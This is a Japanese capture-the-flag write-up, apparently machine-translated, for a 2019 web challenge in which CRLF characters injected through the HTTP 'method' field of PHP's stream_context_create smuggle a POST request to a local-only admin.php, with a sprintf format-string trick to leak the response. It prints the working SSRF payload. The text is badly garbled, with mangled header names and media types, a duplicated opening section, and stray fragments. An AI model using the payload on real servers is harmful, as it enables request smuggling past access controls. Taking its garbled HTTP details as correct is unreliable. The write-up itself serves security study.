お客様大挑戦2019の「サービス検知システム」
お客様が大チャレンジする「サービスエンド検出システム」
この問題はまだできていませんが、どうやらwriteupの後に自分の基礎知識が足りないからです.ここで補ってください
HTTPヘッダに関する豆知識
httpヘッダのフォーマット:
最も簡単なHttp要請
get要求:
Host
複数のドメイン名が同一のipにマッピングされる場合、Hostの内容によって異なるウェブサイトの内容と一致します.各HttpヘッダにはHostヘッダが必要です.この目的のホストにはウェブサイトが一つしかない場合、Hostフィールドの内容は任意の値になります.
Conteen-Type
コンテンツ部分を表す符号化フォーマットやメディアタイプのpost/putなどが必要(要求体があれば)
要求ヘッダのConttentt-Type GET要求:GETはエンティティ部分を要求していないので、要求ヘッダの中にConteet-TypeフィールドのPOST/PUT要求を設定する必要はありません.もしpost/putが要求されたら、Contee-Typeフィールドを設定しなければなりません.第1類:raw元のタイプは、text、json、xml、htmlなどの任意のフォーマットのテキストをアップロードすることができます.(中国語はエンコードしません)text要求:Contee-Type:text/plin json要求:Content-Type/json)要求:Context-Type 第二類:appication/x-wn-from-urlencodedは、フォーム内のデータをkey-valueに変換してつなぎ合わせます.Contint-Type:appration/x-wn-from-urlencoded 第三類:multiipad/from-dataはフォームのデータをメッセージとして処理し、ラベルを単位として区切り記号で分離します.キーの値をアップロードすることもできますし、ファイルをアップロードすることもできます.コンテント-Type:multiipad/from-data;boundary=xxxは要求体において、提出されたフォームの具体的な情報応答ヘッダのConteet-Typeを記述するためのContint-Dipositionフィールドがあります.ブラウザやクライアントはこの値に応じていくつかの操作を行います. Conteet-Lengthは、コンテンツ部分の長さを表すpost/putなどがある必要があります(要求体があれば).
上のことを知ってからこの問題に来ます.
ソースコードを与えました.コントロールできる変数はurlとmethodで、admin.phpを提示しましたが、現地でしかアクセスできません.
次のコードを見てください.
列を挙げます.ここのサーバーのコードは
ここまでよく分かりました.methodを通じてhttp要請ヘッドを構築すればいいです.
最後のpayload:
最後に、フラグ
この問題はまだできていませんが、どうやらwriteupの後に自分の基礎知識が足りないからです.ここで補ってください
HTTPヘッダに関する豆知識
httpヘッダのフォーマット:
/ HTTP/
:
:
GET /index.php HTTP/1.1
Host: 127.0.0.1
httpヘッダの各フィールド間をCRLF(\r)(%0 d%0 a)で分割し、http要求ヘッダ(応答ヘッダ)と要求体(応答体)との間を2つのCRLFで分割する.最も簡単なHttp要請
get要求:
GET / HTTP/1.1
Host: xx
ポスト要請POST / HTTP/1.1
Host: xxx
Content-Type: application/x-www-from-urlencoded
Content-Length: 3
a=1
httpヘッダのフィールド(一部)Host
複数のドメイン名が同一のipにマッピングされる場合、Hostの内容によって異なるウェブサイトの内容と一致します.各HttpヘッダにはHostヘッダが必要です.この目的のホストにはウェブサイトが一つしかない場合、Hostフィールドの内容は任意の値になります.
Conteen-Type
コンテンツ部分を表す符号化フォーマットやメディアタイプのpost/putなどが必要(要求体があれば)
要求ヘッダのConttentt-Type GET要求:GETはエンティティ部分を要求していないので、要求ヘッダの中にConteet-TypeフィールドのPOST/PUT要求を設定する必要はありません.もしpost/putが要求されたら、Contee-Typeフィールドを設定しなければなりません.
上のことを知ってからこの問題に来ます.
ソースコードを与えました.コントロールできる変数はurlとmethodで、admin.phpを提示しましたが、現地でしかアクセスできません.
ここでmethodを%dの前に置いておきます.methodが%s%
nameの最後の%は%dの中の%を転送します.前の%sはbodyの中の内容を印刷します.methodはhttp要求の方式として作用しますが、一部の中間部品は知らない方式をGET要求として黙認しています.echo "failed
";
echo sprintf("body length of $method%d", $body);
method=%sを提出し、得た:コードは:
ここはpost一つiwantflags=yesでflagsを獲得します.次のコードを見てください.
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);
$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);
ここで使うstreamcontext.createとfile_ゲットするhttpリクエストをシミュレーションするためにcontenstsに来ました.methodは直接接続した私たちの入力です.ここでは任意のhttpを作成してください.列を挙げます.ここのサーバーのコードは
array(
'method' => $method,
'header' => "Accept-langule: en"
)
);
$context=stream_context_create($arr);
$body = file_get_contents("http://127.0.0.1:8808",false,$context);
var_dump($body);
?>
私達はncを使って本機の8808ポートをモニターして、file_を見てみます.ゲットするcontenstsが送信するhttpヘッダデータnc -lp 8808
Methodが正常なGETであれば、通常のhttp要求容易に思いつきますが、methodを通して注入できます.httpヘッダを私達が望むようにします.例えば、入力します.method=POST / HTTP/1.1
Host: 123
Content-Type: application/x-www-from-urlencoded
Content-Length: 3
a=1
a
この時に送ったhttp要請は前のカバンが完全に私達の制御できるものになりました.ここまでよく分かりました.methodを通じてhttp要請ヘッドを構築すればいいです.
最後のpayload:
url=http://127.0.0.1&method=POST /admin.php HTTP/1.1
Host: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
iwantflag=yes%26id=%s%
最後に一つのパラメータを加えると、後ろのものが前のiwantflagsパラメータ%26に影響を与えないようにするためのurl符号化フォーマットであり、事前にパラメータ区切り子として認識されることを防止します.最後に、フラグ